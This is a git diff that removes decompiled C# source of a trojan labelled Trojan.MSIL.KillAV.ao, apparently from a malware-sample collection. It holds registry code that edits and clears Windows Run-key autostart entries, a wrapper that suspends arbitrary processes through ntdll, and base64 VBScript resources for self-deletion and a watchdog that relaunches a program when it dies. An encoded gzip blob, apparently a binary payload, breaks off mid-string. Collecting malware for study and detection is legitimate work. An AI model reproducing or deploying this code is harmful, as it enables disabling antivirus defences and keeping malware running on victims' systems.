-using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettingsProperty.cs deleted file mode 100644 index 4d16d3b6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettingsProperty -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/Resources/Resources.cs deleted file mode 100644 index 24a2e26d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/Resources/Resources.cs +++ /dev/null @@ -1,56 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.Resources.Resources -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace n.My.Resources -{ - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) n.My.Resources.Resources.resourceMan, (object) null)) - n.My.Resources.Resources.resourceMan = new ResourceManager("n.Resources", typeof (n.My.Resources.Resources).Assembly); - return n.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => n.My.Resources.Resources.resourceCulture; - set => n.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] HWD => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (HWD), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (P), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] plugin => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (plugin), n.My.Resources.Resources.resourceCulture)); - - internal static string Q => n.My.Resources.Resources.ResourceManager.GetString(nameof (Q), n.My.Resources.Resources.resourceCulture); - - internal static string W => n.My.Resources.Resources.ResourceManager.GetString(nameof (W), n.My.Resources.Resources.resourceCulture); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NK.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NK.cs deleted file mode 100644 index 4b052b48..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NK.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.NK -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; - -namespace n -{ - [StandardModule] - public sealed class NK - { - public static string Key = "HKEY_CURRENT_USER\\Software\\nKey"; - public static Registry R; - - public static void SetValue(ref string N, ref string V) => Registry.SetValue(NK.Key, N, (object) V, RegistryValueKind.String); - - public static string GetValue(ref string N, ref string DF) - { - string Left = Conversions.ToString(Registry.GetValue(NK.Key, N, (object) null)); - return Operators.CompareString(Left, (string) null, false) == 0 ? DF : Left; - } - - public static void DeleteValue(ref string N) - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - string name = NK.Key.Replace(Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""); - Registry.CurrentUser.OpenSubKey(name, true).DeleteValue(N); - } - - public static void CLEAR() - { - string su = B.SU; - B.SU = "*"; - if (Operators.CompareString(su, "*", false) != 0) - { - try - { - Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) checked (Instance.Length - 1) - }, (string[]) null)), false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NTSuspendProcess.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NTSuspendProcess.cs deleted file mode 100644 index 6130efdc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NTSuspendProcess.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.NTSuspendProcess -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace n -{ - [StandardModule] - internal sealed class NTSuspendProcess - { - [DllImport("ntdll.dll")] - private static extern bool NtSuspendProcess(IntPtr hHandle); - - [DllImport("ntdll.dll")] - private static extern bool NtResumeProcess(IntPtr hHandle); - - public static bool SuspendProcess(int ID) - { - bool flag; - try - { - flag = NTSuspendProcess.NtSuspendProcess(Process.GetProcessById(ID).Handle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public static bool ResumeProcess(int ID) - { - bool flag; - try - { - flag = NTSuspendProcess.NtResumeProcess(Process.GetProcessById(ID).Handle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Resources.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Resources.resx deleted file mode 100644 index 231a26d0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Resources.resx +++ /dev/null @@ -1,629 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ== - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f - 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb - pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1fY/t//vO+MHD/o1/j1/pdf8Nf - 8zf4NX6NnV9DEKNn+YL+Sen/fwD++j3l91/Lfm1//hp/kXz+a/CP3/MP/zV+jd+M/+d+2h/8/FYE97v4 - 5Q8IP7fPH/Rr/Bq/Uezzm5701/g1fgPvz9+A/v629/e4zd+19LMdS1seq+JtHvr4DxjXTT39NRS3P0Db - 7IXtfk/637jOy2qquP5B2m6/1+5J+AnR/4X8/PavgVd+3V/j13hENPmtfo1f49fsNrzl8wt+mz+IXv11 - vvVb7vw6AAU4v/mvtUUclvxaP5PQF7/Nb7P16+CP3/6Pp79+zeTX+21qarH6S36937b+Xfnnb1ff55+/ - 5DcGlF/j1/gtd36tX+PVr8HD+c0b+ufX+42a34n+/Y1/7Df4JYTlr/Njv/v/9ev/zvR3Q5gnza9H/yS/ - 3q9X/fr08zegb34DfPMb4Jsfo39+w1+/oj6TT36933brN6Sfv+32r1T4BAgy8Jv/Vr/hb/Fr/tpbRMFf - D/8kySe/xq9H4/g1f43f5Ndg/vrNf+3v/DSQ//V+mr/5NX6N33Hn1/41/mL6jvr+zbcI3+S3/HV/m9/y - 1/lk8Zv/ur/5r/PnJL9Lwt38Wr8YI/ktf/3f5rf89T45/c1//d/81/tzfsNfryKISfWb0j+/Pv/722z9 - Zvj33u/y61W/Of3yO9yjMfwW9Mt/8Jv87lu/Jf38jbZ+K/z1a/zmv95v+2/8lr/eb/7r/ea//p/wd+79 - rb/5r0N//Tq/+a/zm/+69Ncfa9r+xto2/aPoL8bg4A/4v//v//tbmIvfDjP07Nf4zb/7a/wmv6lO8R/6 - h8rvv+POr/9r/C1ENyLhb/5LMYOjX/fgL6e/01/+ayqYLcLo10t+q9/yt/gtfouahHb1W/6Wv8Vv6YjF - hPlt/69fs/5j6aut3xrD+XOq34Z+/Fa/5W/1W/xW8sJv/Vv81vLCb0uf//4P/3fq/rf6LX+b3+K3kW9/ - 29/it+Vvf8Pf4tf6v35rgvZr/fq/xa+1ReT49X7hr2Ub/Hq/7R9P6Pyav+Xv8Jv/Dr/Nb/9b/va/+W// - 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 - 9wCf/Lq/Rkn/PiXn7cd/6a/xa/xN9PP3xu+v27pYXjRo8RtQZ3NSQD/+1etfY/WbyzrVj3/+1dlT+vkH - 0d9/Gr57UlaTX0Me+vPX/O5nv9Zv9WP0y6/xv/+a95BQQO+kc7D2wGsxlPn4NT6m/wOFRD//tfV3vIa8 - xq/pff5r/Bo/8evLCH69X+OI3vpNfo3Xv+bTX/O3+DXqX/P3/zV/vV/jr/k1/2z692/+NR/Qt3/vr/U3 - /lq/3q/x/NfG73/Jr41v/8Nf+x/8tX+9X+N/509+zV8HLVP+d+/XeUCofe/XOf11fr1fY0G/J7/GP/Lr - /Lm/zm/za/w79Enya/xav+6fS5/Pfl18/tP0e/Jr/BH871/y6/6W9MlfQ//+Dr/Gf/nr/iu/7u/wa/ze - v96/8uv+er/GX/3r/TG/XvJr/Du/Ht76X+j3X+/X+A1+ffz7W/766P0e/QvsZQy/Jv/3m/0ad36NT4j+ - /Nev+Zv9Gtv812/ya/yGv0ZCzXaYSr8Z9QJ63P81MFO/Ff1FvtWvsfq15a/f6df4zWnl7Hf8NX7iD/pj - iZo/8Qf9Rfzv387//lP877/N//5P/O+v+2vi39+R/v31fo3f59f8Lr37g1/ze/TvL/k1f3/C4A//NSf0 - 7fWvhTZ/zK+FNj/5a+Pf7/G/vz//m/O/v+TX/u9+jZcpxvGb/3anv8ZvSe/+3vzXr/fbPf81flsd4R/0 - a/w26Ve/xi/w/rr7a76id/8ibvnb/Bp/0K/5WyKX9LvKjP7Rv+Y5/ZXqX3/ir1mSXnqsf/0Zv+ZvS5L7 - G3wkf93/NWr66+m35K+/89d8R3Pxmx04XH5j298//Gv+od5f/9Ov+cdzLkv++nV/rT+NuVgx+7X+PHrT - /PW9X+svp1GYv/70X+tv/zV++1/jt+Iefptf46/5tf5+orZ891um//Sv9Y94f/1nv9Y/Q+M1f/1v9Bfx - +0P8/Zv/Gr/Wr/0v/hqpfvebp7/xr/2vycD5r9/11/636K/fl1v+Nr/Gt3/t//DX+PFf49/iv4SeP64t - ged/Rn/9b953H/8a/5H89Rv8qb825hiclf0akKDi14DcQLJ/nV+j+jXALe/429/j18S/bId+jT/N+/3v - /TXxFn7/tX+Nf+DX/DXSX/PX+Ofo31/r1/i3+Nv/k//9LX4tfPLPcZvf9tfST+itw18Ln/yevxb6+pw/ - f8uf116bv9T7/d/k9v+R/cT8+3uYXqjNo1/bfPJr/Rrlr92F/xf+2se/BsZ/xv/+GP/7m9O/v+LX+H3o - 31/j1/xd6d9fj/79HX6d/4noYT75jfiT35aoPfp1fotfs/g1Hv46v/DX/EW/xtWvs0///qG/zqNf8yd+ - jT+V/v2Df41/7tc5ok/+l1/nlP79P6n9n/xr/Ca/7nd+zT/51/gFJPO//a+x8+tmv+Zv/2uc/LpzgvB7 - /7rlr/kX/xrXv279a/7Vv8af8uv+Yv73X/w1fuLX+HN/3T/o1/ybf42/69f9I+jbf+DX/ZN+zX/41/gf - ft1/lr791b/uv0Twf91f71+nT37TX+/fpd9/p1/vP6Z/79Inf/Wv8fDX+6/o9xP6/W/+NV79ev/9r/lP - /xrZr/cr6JOfpk9+81+j+fV+t1/rN/81runfv/nX+AN/vX/x1/ibf40//Nfb+rX+5V/jb/71xvTvP/Dr - 3fu1MKLxr7VLI/0O/fvPU8tdwucRj/S7v9a/zVT6j+nf81/rf+Y2v4o/+Q3ov2/R/3+jX+Mu/fub/Rr7 - 9O9vRYz7G5ClOaJ/f6df44T+TX+Nb9O/vxvZ0d/g1zj4Nf5ayOev8Tf9GuNf42/9Nctfa0zcs/61pr/G - X/prPvw1/lGSpIe/xl/0a/+G/C9+/x1/jT+W9NgfS5z7x/4av/rX+G1/zU9+zZ1f8+Wv+ef+mv/7r3nw - a335a/2+v9Yf9mv857/mya/56/8aX9G8nvyaP/Zr3KUU7TOi8D/8a/5a9Pfv+Gv8T78mPv+df43f9dfC - z9/l13jBP3/XX+N7/PPHf40//df6taj9x7/GP80/7/wa/xn//OTX+N9+Lbx/99f4jX9t/Nz9NX7XXxuf - P/g17tLnv84f9Gt0nk9Yatzza7IlYv/IPolqCb9d8ms8ZRUXvsuGtdPu9Nfpt/tXoMyJq39tks9fm/SZ - fvv4i2q2LvOjX2PRTKu6LCa/xhfFtK6a6rwd/2TRrLPySdYU01/jJ3+Nl7/G6vrXeHV68obE+/V10+aL - X+PLyU/n0/bXGE+nbVXTD/z7pPo1FtW6yX///DJftr/G7OpZmZFtn737NWbXv8b0ybptqyX9eXX6rq2z - s+V59WtQ4/re3q/xxZdfvT49/cnTF2+e/f7HT15/+fyrN6fBh89Pn715+uV3X/Q+/Opl8NEXX/5k+OIX - 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 - 